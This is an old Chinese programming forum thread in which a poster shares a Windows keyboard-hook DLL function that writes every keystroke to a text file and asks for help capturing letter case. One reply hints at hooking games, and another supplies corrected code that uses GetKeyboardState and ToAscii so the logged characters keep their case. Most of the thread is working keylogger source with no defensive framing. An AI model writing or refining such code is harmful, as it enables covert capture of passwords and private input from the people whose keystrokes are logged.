记录下的键盘信息,不分大小写,请高手给改改。

gaoyue_qq_1664507529 2011-12-11 03:45:06
__declspec(dllexport) LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{



if(lParam&0x80000000)
{
buffer=MapVirtualKey(wParam,2);
CFile f;
if(0==f.Open("d:\\keyfile.txt",CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite ))
{
AfxMessageBox("文件打开失败");
return CallNextHookEx(hHook,nCode,wParam,lParam);

}
f.SeekToEnd();
f.Write(&buffer,1);


f.Close();
}

return CallNextHookEx(hHook,nCode,wParam,lParam);
}
...全文
80 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
现在的游戏老强了,不好钩啊。学习,让自己不断变强。
uc_fly 2011-12-12
  • 打赏
  • 举报
回复
楼主做键盘钩子,想干吗。。。呵呵。。。
Gloveing 2011-12-12
  • 打赏
  • 举报
回复
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) 
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("C:\\Users\\Administrator\\Desktop\\key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}

15,467

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧